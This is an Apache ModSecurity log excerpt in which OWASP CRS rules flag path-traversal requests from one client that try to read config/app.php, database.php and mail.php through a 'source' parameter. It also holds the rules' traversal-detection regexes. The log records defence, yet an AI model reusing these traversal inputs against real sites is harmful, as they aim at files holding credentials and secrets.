[tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95rQAAAAw"]
[Fri Jul 17 08:55:07.530552 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95rQAAAAw"]
[Fri Jul 17 08:55:07.530586 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95rQAAAAw"]
[Fri Jul 17 08:55:07.530693 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:source: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95rQAAAAw"]
[Fri Jul 17 08:55:07.531348 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?source=..%2F..%2Fconfig%2Fdatabase.php&cb=To3Y05grLNGc6YGuxM8exjSwp6Hz-NBxA9RFXhnU1-CcQvp3NGQXUlvdjKENEK0FF_nLOwOyRWFcBKrvipKo2IW8Mx9NorfPRkcLbHizYCi5CX0JCCQAubGznOdZjhBYda_z0wCK3wP9LyB3MC-hWSaAh_EuVnuYVvUZ4i4cuh5pM-8LYRr1L77XiKhaBfvJ_l_qaIz2U1u-Nj7Qn_evEBR8xTHBHpzNxD5ITHOvpRdysIIDYpa41jjSWI27v9EYS8W-utRBacVpTt8Z8pds18A0&ts=I3D7OF7GWCDND6YFKDMAP4G7Z65KZMFAIPGCRLLYQSNKQUTHMLGJFFLHLA7R7VQL2DX7FGLMIWQVUHZYPVJ4MMCU4XBQWKRCNKB32MJWMKS2YFSVYEAXSIQRUXWV74HX..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlKAAAAA0"]
[Fri Jul 17 08:55:07.531401 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlKAAAAA0"]
[Fri Jul 17 08:55:07.531471 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?source=../../config/database.php&cb=To3Y05grLNGc6YGuxM8exjSwp6Hz-NBxA9RFXhnU1-CcQvp3NGQXUlvdjKENEK0FF_nLOwOyRWFcBKrvipKo2IW8Mx9NorfPRkcLbHizYCi5CX0JCCQAubGznOdZjhBYda_z0wCK3wP9LyB3MC-hWSaAh_EuVnuYVvUZ4i4cuh5pM-8LYRr1L77XiKhaBfvJ_l_qaIz2U1u-Nj7Qn_evEBR8xTHBHpzNxD5ITHOvpRdysIIDYpa41jjSWI27v9EYS8W-utRBacVpTt8Z8pds18A0&ts=I3D7OF7GWCDND6YFKDMAP4G7Z65KZMFAIPGCRLLYQSNKQUTHMLGJFFLHLA7R7VQL2DX7FGLMIWQVUHZYPVJ4MMCU4XBQWKRCNKB32MJWMKS2YFSVYEAXSIQRUXWV74HXSMIIGRTQR5QK5C..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlKAAAAA0"]
[Fri Jul 17 08:55:07.531511 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?source=../../config/database.php&cb=to3y05grlngc6yguxm8exjswp6hz-nbxa9rfxhnu1-ccqvp3ngqxulvdjkenek0ff_nlowoyrwfcbkrvipko2iw8mx9norfprkclbhizyci5cx0jccqaubgznodzjhbyda_z0wck3wp9lyb3mc-hwsaah_euvnuyvvuz4i4cuh5pm-8lyrr1l77xikhabfvj_l_qaiz2u1u-nj7qn_evebr8xthbhpznxd5ithovprdysiidypa41jjswi27v9eys8w-utrbacvptt8z8pds18a0&ts=i3d7of7gwcdnd6yfkdmap4g7z65kzmfaipgcrllyqsnkquthmlgjfflhla7r7vql2dx7fglmiwqvuhzypvj4mmcu4xbqwkrcnkb32mjwmks2yfsvyeaxsiqruxwv74hxsmiigrtqr5qk5c..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlKAAAAA0"]
[Fri Jul 17 08:55:07.531553 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlKAAAAA0"]
[Fri Jul 17 08:55:07.531583 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlKAAAAA0"]
[Fri Jul 17 08:55:07.531685 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:source: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlKAAAAA0"]
[Fri Jul 17 08:55:07.532450 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95rQAAAAw"]
[Fri Jul 17 08:55:07.532642 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.533082 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4l9vhFBGA6D8l95rQAAAAw"]
[Fri Jul 17 08:55:07.533287 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlKAAAAA0"]
[Fri Jul 17 08:55:07.533432 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.533810 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkyvekYYQ8uns4MwlKAAAAA0"]
[Fri Jul 17 08:55:07.538108 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUZgAAABI"]
[Fri Jul 17 08:55:07.538146 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUZgAAABI"]
[Fri Jul 17 08:55:07.538211 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:source: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUZgAAABI"]
[Fri Jul 17 08:55:07.538579 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?source=..%2F..%2Fconfig%2Fmail.php&anything=q3h9rvZZ3JRqQAvBELEyWN5KFzwQr6ewD55xAtJR7drHy-4DpL00WdHzCxhFxg9Tnd1c8RGmBHJM_dcXk-yxfQnWXWVU17ymB4qNKuumzfk06aEVxR05fwxazE-kPg-6gOkB-WCVVQlqlcPg36XB94oZwKoyRNL8_Zz7fJdlfQukwqap1N_ZwM3j0yuvsa7SvJmZv8Z-vHM3tasFL-I5S3IgWf3_3Orz7ShVboSxvzd3v_avR8w5ye5X8GBTkbrLNuzJJNcYM1qzcU0fUCzYtx20&ref=L67LUBQPGGV7I7JYNFEWBY6YKRZFB7O4UK3E52FUKZOPXZKRMP66XWJD6K2L5ISWUX37YPB3FTDZFHLN5AODRW3364PDKQNWB3O7Z6CPSGVCJUHP73IXYKRZ4NKA5..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBVQAAABs"]
[Fri Jul 17 08:55:07.538614 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBVQAAABs"]
[Fri Jul 17 08:55:07.538672 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?source=../../config/mail.php&anything=q3h9rvZZ3JRqQAvBELEyWN5KFzwQr6ewD55xAtJR7drHy-4DpL00WdHzCxhFxg9Tnd1c8RGmBHJM_dcXk-yxfQnWXWVU17ymB4qNKuumzfk06aEVxR05fwxazE-kPg-6gOkB-WCVVQlqlcPg36XB94oZwKoyRNL8_Zz7fJdlfQukwqap1N_ZwM3j0yuvsa7SvJmZv8Z-vHM3tasFL-I5S3IgWf3_3Orz7ShVboSxvzd3v_avR8w5ye5X8GBTkbrLNuzJJNcYM1qzcU0fUCzYtx20&ref=L67LUBQPGGV7I7JYNFEWBY6YKRZFB7O4UK3E52FUKZOPXZKRMP66XWJD6K2L5ISWUX37YPB3FTDZFHLN5AODRW3364PDKQNWB3O7Z6CPSGVCJUHP73IXYKRZ4NKA52HQU3632BVBIQB..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBVQAAABs"]
[Fri Jul 17 08:55:07.538714 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?source=../../config/mail.php&anything=q3h9rvzz3jrqqavbeleywn5kfzwqr6ewd55xatjr7drhy-4dpl00wdhzcxhfxg9tnd1c8rgmbhjm_dcxk-yxfqnwxwvu17ymb4qnkuumzfk06aevxr05fwxaze-kpg-6gokb-wcvvqlqlcpg36xb94ozwkoyrnl8_zz7fjdlfqukwqap1n_zwm3j0yuvsa7svjmzv8z-vhm3tasfl-i5s3igwf3_3orz7shvbosxvzd3v_avr8w5ye5x8gbtkbrlnuzjjncym1qzcu0fuczytx20&ref=l67lubqpggv7i7jynfewby6ykrzfb7o4uk3e52fukzopxzkrmp66xwjd6k2l5iswux37ypb3ftdzfhln5aodrw3364pdkqnwb3o7z6cpsgvcjuhp73ixykrz4nka52hqu3632bvbiqb..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBVQAAABs"]
[Fri Jul 17 08:55:07.538742 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBVQAAABs"]
[Fri Jul 17 08:55:07.538767 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBVQAAABs"]
[Fri Jul 17 08:55:07.539440 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUZgAAABI"]
[Fri Jul 17 08:55:07.539561 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.539855 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBVQAAABs"]
[Fri Jul 17 08:55:07.539865 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk11_86A5R6msWNfUZgAAABI"]
[Fri Jul 17 08:55:07.539981 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.540250 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk6quHSHoCJK_V0SBVQAAABs"]
